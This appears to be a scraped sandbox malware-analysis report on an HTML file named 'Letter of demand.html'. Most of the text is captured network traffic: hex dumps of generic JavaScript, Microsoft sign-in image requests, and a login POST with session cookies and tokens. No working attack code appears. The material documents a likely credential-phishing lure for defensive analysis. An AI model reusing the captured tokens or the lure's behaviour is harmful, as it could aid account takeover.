Symbol&&t[Symbol.iterator]\|\|t["@@iterator"];if(!r){if(Array.isArray(t)\|\|(r=d(t))\|\|e&&t&&"number"==typeof t.length){r&&(t=r);var n=0,o=fun
2025-04-01 10:11:35 UTC	8204	IN	Data Raw: 65 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 36 34 29 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 6f 20 69 6e 20 65 29 6e 28 74 2c 6f 2c 65 5b 6f 5d 2c 72 29 3b 72 65 74 75 72 6e 20 74 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 72 79 7b 72 65 74 75 72 6e 7b 65 72 72 6f 72 3a 21 31 2c 76 61 6c 75 65 3a 74 28 29 7d 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 7b 65 72 72 6f 72 3a 21 30 2c 76 61 6c 75 65 3a 65 7d 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 Data Ascii: e}}},function(t,e,r){"use strict";var n=r(564);t.exports=function(t,e,r){for(var o in e)n(t,o,e[o],r);return t}},function(t,e,r){"use strict";t.exports=function(t){try{return{error:!1,value:t()}}catch(e){return{error:!0,value:e}}}},function(t,e,r){"use st
2025-04-01 10:11:35 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3d 74 79 70 65 6f 66 20 41 72 72 61 79 42 75 66 66 65 72 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 41 72 72 61 79 42 75 66 66 65 72 2e 69 73 56 69 65 77 26 26 28 41 72 72 61 79 42 75 66 66 65 72 2e 69 73 56 69 65 77 28 74 29 7c 7c 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 42 75 66 66 65 72 29 29 72 65 74 75 72 6e 20 74 2e 62 79 74 65 4c 65 6e 67 74 68 3b 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 22 22 2b 74 29 3b 76 61 72 20 72 3d 74 2e 6c 65 6e 67 74 68 3b 69 66 28 30 3d 3d 3d 72 29 72 65 74 75 72 6e 20 30 3b 66 6f 72 28 76 61 72 20 6e 3d 21 31 3b 3b 29 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 22 61 73 63 69 69 22 3a 63 61 73 65 22 6c 61 74 69 6e 31 22 3a 63 61 73 Data Ascii: 00004000=typeof ArrayBuffer&&"function"==typeof ArrayBuffer.isView&&(ArrayBuffer.isView(t)\|\|t instanceof ArrayBuffer))return t.byteLength;"string"!=typeof t&&(t=""+t);var r=t.length;if(0===r)return 0;for(var n=!1;;)switch(e){case"ascii":case"latin1":cas
2025-04-01 10:11:35 UTC	12	IN	Data Raw: 61 2d 7a 2d 5f 5d 2f 67 3b 66 0d 0a Data Ascii: a-z-_]/g;f
2025-04-01 10:11:35 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 75 6e 63 74 69 6f 6e 20 4e 28 74 29 7b 72 65 74 75 72 6e 20 74 3c 31 36 3f 22 30 22 2b 74 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 3a 74 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 74 2c 65 29 7b 76 61 72 20 72 3b 65 3d 65 7c 7c 49 6e 66 69 6e 69 74 79 3b 66 6f 72 28 76 61 72 20 6e 3d 74 2e 6c 65 6e 67 74 68 2c 6f 3d 6e 75 6c 6c 2c 69 3d 5b 5d 2c 73 3d 30 3b 73 3c 6e 3b 2b 2b 73 29 7b 69 66 28 28 72 3d 74 2e 63 68 61 72 43 6f 64 65 41 74 28 73 29 29 3e 35 35 32 39 35 26 26 72 3c 35 37 33 34 34 29 7b 69 66 28 21 6f 29 7b 69 66 28 72 3e 35 36 33 31 39 29 7b 28 65 2d 3d 33 29 3e 2d 31 26 26 69 2e 70 75 73 68 28 32 33 39 2c 31 39 31 2c 31 38 39 29 3b 63 6f 6e 74 69 6e 75 65 7d 69 66 28 73 2b 31 3d 3d Data Ascii: 00004000unction N(t){return t<16?"0"+t.toString(16):t.toString(16)}function F(t,e){var r;e=e\|\|Infinity;for(var n=t.length,o=null,i=[],s=0;s<n;++s){if((r=t.charCodeAt(s))>55295&&r<57344){if(!o){if(r>56319){(e-=3)>-1&&i.push(239,191,189);continue}if(s+1==
2025-04-01 10:11:35 UTC	12	IN	Data Raw: 63 6c 22 2c 72 7d 76 61 72 20 0d 0a Data Ascii: cl",r}var
2025-04-01 10:11:35 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 72 2c 6e 2c 6f 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 65 26 26 6e 75 6c 6c 21 3d 3d 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 74 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 65 26 26 65 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 74 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f Data Ascii: 00006000r,n,o;return function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),Object.definePro
2025-04-01 10:11:35 UTC	8204	IN	Data Raw: 75 6d 6e 2c 65 29 7d 72 65 74 75 72 6e 20 6e 65 77 20 6f 5b 22 64 65 66 61 75 6c 74 22 5d 28 74 29 7d 2c 65 2e 77 61 72 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6e 6f 64 65 3a 74 68 69 73 7d 3b 66 6f 72 28 76 61 72 20 6f 20 69 6e 20 72 29 6e 5b 6f 5d 3d 72 5b 6f 5d 3b 72 65 74 75 72 6e 20 74 2e 77 61 72 6e 28 65 2c 6e 29 7d 2c 65 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 61 72 65 6e 74 26 26 74 68 69 73 2e 70 61 72 65 6e 74 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 29 2c 74 68 69 73 2e 70 61 72 65 6e 74 3d 75 6e 64 65 66 69 6e 65 64 2c 74 68 69 73 7d 2c 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 Data Ascii: umn,e)}return new o["default"](t)},e.warn=function(t,e,r){var n={node:this};for(var o in r)n[o]=r[o];return t.warn(e,n)},e.remove=function(){return this.parent&&this.parent.removeChild(this),this.parent=undefined,this},e.toString=function(t){void 0===t&&(

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:35 UTC	705	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:35 UTC	612	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Last-Modified: Thu, 05 Dec 2024 00:02:42 GMT ETag: "0x8DD14C0239E1898" x-ms-request-id: 015aeca4-c01e-00e5-419c-66d025000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=24903607 Date: Tue, 01 Apr 2025 10:11:35 GMT Content-Length: 1864 Connection: close Akamai-GRN: 0.9f04d217.1743502295.7267974
2025-04-01 10:11:35 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\Downloads\3af9bafa-ed54-4047-bd77-4028b135e9a0.tmp

C:\Users\user\Downloads\Letter of demand.html (copy)

C:\Users\user\Downloads\Letter of demand.html.crdownload

Chrome Cache Entry: 177

Chrome Cache Entry: 178

Chrome Cache Entry: 179

Chrome Cache Entry: 180

Chrome Cache Entry: 181

Chrome Cache Entry: 182

Chrome Cache Entry: 183

Chrome Cache Entry: 184

Chrome Cache Entry: 185

Chrome Cache Entry: 186

Chrome Cache Entry: 187

Chrome Cache Entry: 188

Chrome Cache Entry: 189

Chrome Cache Entry: 190

Chrome Cache Entry: 191

Chrome Cache Entry: 192

Chrome Cache Entry: 193

Chrome Cache Entry: 194

Chrome Cache Entry: 195

Chrome Cache Entry: 196

Chrome Cache Entry: 197

Chrome Cache Entry: 198

Chrome Cache Entry: 199

Chrome Cache Entry: 200

Static File Info

File Icon

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:35 UTC	706	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:35 UTC	612	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Last-Modified: Thu, 05 Dec 2024 00:02:53 GMT ETag: "0x8DD14C02A8563EB" x-ms-request-id: 9b6c1ac1-d01e-0085-4a9d-667913000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=24904281 Date: Tue, 01 Apr 2025 10:11:35 GMT Content-Length: 3651 Connection: close Akamai-GRN: 0.9f04d217.1743502295.7267976
2025-04-01 10:11:35 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:35 UTC	706	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:36 UTC	612	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: R2FAVxfpONfnQAuxVxXbHg== Last-Modified: Thu, 05 Dec 2024 00:03:00 GMT ETag: "0x8DD14C02EE2769A" x-ms-request-id: fa2671bf-301e-00c0-049c-66acf0000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=24903729 Date: Tue, 01 Apr 2025 10:11:36 GMT Content-Length: 1592 Connection: close Akamai-GRN: 0.9f04d217.1743502296.72679ad
2025-04-01 10:11:36 UTC	1592	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 61 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 34 30 2c 33 32 2e 35 37 38 56 34 30 48 33 32 56 33 36 48 32 38 56 33 32 48 32 34 56 32 38 2e 37 36 36 41 31 30 2e 36 38 39 2c 31 30 2e 36 38 39 2c 30 2c 30 2c Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:36 UTC	460	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:37 UTC	612	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Last-Modified: Thu, 05 Dec 2024 00:02:53 GMT ETag: "0x8DD14C02A8563EB" x-ms-request-id: 9b6c1ac1-d01e-0085-4a9d-667913000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=24904325 Date: Tue, 01 Apr 2025 10:11:37 GMT Content-Length: 3651 Connection: close Akamai-GRN: 0.8904d217.1743502297.166eaca
2025-04-01 10:11:37 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:46 UTC	711	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:46 UTC	613	IN	HTTP/1.1 200 OK Content-Length: 2672 Content-Type: image/gif Content-MD5: Fm3lNHEmUlOrOkVt7+baIw== Last-Modified: Thu, 05 Dec 2024 00:02:52 GMT Accept-Ranges: bytes ETag: "0x8DD14C029EBF349" x-ms-request-id: 35a4859c-d01e-0039-22b0-663130000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=24912184 Date: Tue, 01 Apr 2025 10:11:46 GMT Connection: close Akamai-GRN: 0.9f04d217.1743502306.7268019
2025-04-01 10:11:46 UTC	2672	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e 69 18 14 00 21 Data Ascii: GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~i!

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:46 UTC	3068	OUT	POST /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: login.microsoftonline.com Connection: keep-alive Content-Length: 2077 sec-ch-ua-platform: "Windows" hpgid: 1104 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" hpgact: 1800 canary: PAQABDgEAAABVrSpeuWamRam2jAF1XRQE-lkstkL-Q2QPqXoMsnpOixzcBsi07sJA3hfil89tciXWThgNGeBudCxnHugCiCveQ1VVyQ8IZDx316w-56xcbsPxrfgTRa3ejDxMpd4kzWObcVIEz6BSe7kwbmlCnSfaocI_X1_H7Kho9aT1SW54WxfvaAPe7TIcHg05N-U652tzD8DvNWNxUEHlx7OfU5r3tVS6rIBz0H6kyc7f2Dp_EiAA sec-ch-ua-mobile: ?0 client-request-id: 84919c82-e9f2-4954-a709-cb1ec83d8302 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json hpgrequestid: 9798ea77-9b97-44c6-9cbf-1a7d23440a00 Content-type: application/json; charset=UTF-8 Origin: https://login.microsoftonline.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0&sso_reload=true Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: esctx-gwvHdQuXFU=AQABCQEAAABVrSpeuWamRam2jAF1XRQEdyqEh8wrZ8Ex1AYZY4REGJWogfQa5qbsjm-XHt0euMDySNJ2AdVvkZFj474Pxalmo35lcW8bijhnOIfLSMJhW9JCcRzEIbF-B3QHz0vwScMyT_xbqvwBBZRLs8D56rOL_xkV8cxuvyyh8EUBzBiqCiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AQMAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAADAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEbaL8fLeMidHHGL4oh_wh3tb5Qy-BeGazU-G8WsX1HqWG-kn0rRxNrTJYm8v1wGGijH77fY_4zUcYkfgBF0apTgzYjSAOtALYwoanMo2J8RQgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQErgDC436aE1NgWVyuxpxo6QT9R12nBEYjyPrJulSjAVsUQof-S5gHwfU5tbBAdRrDWHaEcTTg_y87JKvuSm9O3Jzh75gT3Le6rgEOGhlEpgnzbVgiG89pI2M8zdDVBad1BE5PSFWhBM4bD7gXrpNmjn9KTGdHz9yfWlVt0fHJ4XIgAA; esctx-24Fe4O2lTOY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEAsG5J4M6nLguGYmo5nwcYDcWdSBHgHne41oqLQQYskEzzfvbHLIsr1R5aknrBLdC-pG2o2AReMafJ6p2lGpHu0aaYdrpj7ZmPcSTJPIhrChzLUYinURrx4c0K0HBSE4mdDmQhHT2bQqJLHBJ3mP8XyAA; fpc=AnxeKz3mi6BEio4rlACbXLa8Ae7AAQAAANSyfd8OAAAA; MicrosoftApplicationsTelemetryDeviceId=0247e [TRUNCATED]
